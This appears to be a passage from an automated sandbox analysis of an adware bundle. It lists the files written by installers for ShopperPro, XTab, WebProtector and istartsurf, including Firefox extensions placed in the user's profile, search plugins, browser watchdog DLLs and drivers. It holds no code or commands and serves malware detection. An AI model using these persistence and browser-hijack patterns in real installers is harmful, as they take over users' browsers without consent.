C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\modules\addonmanager.js (531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\en-US\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe (14022 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\Thumbs.db (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\vi\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\modules\settings.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\Thumbs.db (27 bytes)
%Program Files% (x86)\Mozilla Firefox\browser\searchplugins\istartsurf.xml (553 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\skin\style.css (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\skin\simple.css (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\en\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\js\pack\common.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\tr\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)

The process testlsp.exe:1900 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_1900_testlsp.log (1440 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_1900.log (1345 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_1900_testlsp.log (123026 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\SMALLTEST[1].htm (70 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_1900_testlsp.log (151 bytes)

The process setup.exe:2380 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyCD9C.tmp\jsdrv.exe (100669 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyCD9C.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjCD8C.tmp (363960 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (37025 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyCD9C.tmp\nsProcess.dll (12 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyCD9C.tmp\AccDownload.dll (11659 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyCD9C.tmp\System.dll (23 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (15168 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (48241 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (11 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (18424 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.ej (14 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyCD9C.tmp\MoreInfo.dll (15 bytes)

The process HPNotify.exe:3916 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\conf (1480 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (24 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (24 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (24 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (49 bytes)

The process XTab_Setup2253.exe:3356 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
%Program Files% (x86)\XTab\skin\btn.png (2 bytes)
%Program Files% (x86)\XTab\install.data (68 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
%Program Files% (x86)\XTab\HPNotify.exe (18514 bytes)
%Program Files% (x86)\XTab\conf (1626 bytes)
%Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1031.xpi (15 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\indexIE8.html (1794 bytes)
%Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
%Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\ver.txt (47 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst81AE.tmp\System.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
%Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
%Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
%Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
%Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (29 bytes)
%Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
%Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\js\xagainit-ie8.js (4 bytes)
%Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
%Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\main.xml (4 bytes)
%Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (33992 bytes)
%Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (21280 bytes)
%Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
%Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\ProtectService.exe (5469 bytes)
%Program Files% (x86)\XTab\web\js\js.js (18 bytes)
%Program Files% (x86)\XTab\skin\logo.png (5 bytes)
%Program Files% (x86)\XTab\web\js\xagainit2.0.js (4 bytes)
%Program Files% (x86)\XTab\web\main.css (19 bytes)
%Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\close.png (3 bytes)
%Program Files% (x86)\XTab\web\data.html (20 bytes)
%Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
%Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
%Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
%Program Files% (x86)\XTab\skin\about.png (4 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\settings.png (5 bytes)
%Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
%Program Files% (x86)\XTab\web\js\common.js (2 bytes)
%Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
%Program Files% (x86)\XTab\SupTab.dll (15928 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (20 bytes)
%Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
%Program Files% (x86)\XTab\msvcp110.dll (16990 bytes)
%Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)

The process cmdshell.exe:3892 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\HPNotify.exe (675 bytes)

The process GLJ979E.tmp:928 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)

The process WebProtectorPlus.exe:3164 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\pin[2].gif (34 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupComponents.exe (181 bytes)

The process WebProtectorPlus.exe:4876 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\WebProtectorPlus\SetupComponents.exe (181 bytes)

The process WebProtectorPlus.exe:1388 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\WebProtectorPlus\SetupComponents.exe (181 bytes)

The process nsyE0A0.tmp:1600 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\SetupWPP[1].exe (16240 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\safe150x30.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\tools\Firstrun.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\skin (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\MessageDisplayer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\PrefMan.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\tools.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\Observer.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\Timer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\TimePassed.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\node[1] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\FFInfo.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\content\tools.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\WebsiteVerifier.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\Observer.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\Timer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\AddonInfo.js (271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\skin\favicon.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\content\main.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome.manifest (355 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\content\wp.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\skin\safe150x30.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\main.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\node[1] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\gp.up (68 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\chrome (32 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\GUID.js (599 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\pin[1].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\MessageDisplayer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdF799.tmp (24004 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\tools\Os.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\tools\DaysPassed.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome.manifest (355 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\Os.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\webprotector_installer[1].exe (17968 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\AddonInfo.js (271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\PrefMan.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\ToolbarButton.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\notSafe150x30.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\ToolbarButton.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\icon16x16.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\GUID.js (599 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\icon32x32.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\skin\notSafe150x30.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\aints.exe (17874 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\skin\icon16x16.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\nsProcess.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\content\tr.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\tools\FFInfo.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\node[1] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\FileCacher.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\wp.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\skin\wp.css (330 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\DaysPassed.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\favicon.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\tr.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\9813[1].xpi (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\skin\main.css (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\WebsiteVerifier.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\Firstrun.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ein.exe (19778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\node[2] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\main.css (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\modules\TimePassed.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\skin\loader.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\skin\icon32x32.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\webprotector_chrome[1] (32 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\inetc.dll (46 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\main.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\rcted\chrome\content\main.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\wp.css (330 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\LiveUpdateWPP_is[1].exe (17248 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ZipDLL.dll (3608 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\uinst.exe (19050 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\FileCacher.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\ffex\ffwebex.xpi (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\node[1] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\loader.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\pin[3].gif (34 bytes)

The process uinst.exe:3856 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj68B2.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\LiveUpdateWPP\LiveUpdateWPP.exe (12003 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\pixgi (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj68B2.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\pin[2].gif (34 bytes)
%Program Files% (x86)\LiveUpdateWPP\LiveUpdateWPP_uninstaller.exe (1617 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj68B2.tmp\inetc.dll (44 bytes)

The process uinst.exe:3036 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\pixgi (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiF23B.tmp\System.dll (23 bytes)
%Program Files% (x86)\LiveUpdateWPP\LiveUpdateWPP.exe (12003 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\pin[2].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiF23B.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiF23B.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\LiveUpdateWPP\LiveUpdateWPP_uninstaller.exe (1617 bytes)

The process uinst.exe:2812 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse647D.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\pixgi (34 bytes)
%Program Files% (x86)\LiveUpdateWPP\LiveUpdateWPP.exe (12003 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\pin[3].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse647D.tmp\inetc.dll (44 bytes)
%Program Files% (x86)\LiveUpdateWPP\LiveUpdateWPP_uninstaller.exe (1617 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse647D.tmp\nsExec.dll (14 bytes)

The process powershell.exe:2380 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S1HSWD6MH2RHQ5YOFLA1.temp (196 bytes)

The process powershell.exe:3292 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JVTUFZJQX4C9XF36LGXG.temp (196 bytes)

The process powershell.exe:992 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZBCWW96D2663H8USJX0I.temp (196 bytes)

The process ein.exe:3824 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\WebProtector\WebProtector_new.dll (12030 bytes)
%Program Files% (x86)\WebProtector\WebProtector.dll (3568 bytes)
%Program Files% (x86)\WebProtector\ToolbarData.ini (849 bytes)
%Program Files% (x86)\WebProtector\webprotector_uninstaller.exe (1279 bytes)
%Program Files% (x86)\WebProtector\hotbtn.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz75BC.tmp\System.dll (23 bytes)
%Program Files% (x86)\WebProtector\btn.ico (1 bytes)

The process ein.exe:1924 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\WebProtector\WebProtector_new.dll (12030 bytes)
%Program Files% (x86)\WebProtector\WebProtector.dll (3568 bytes)
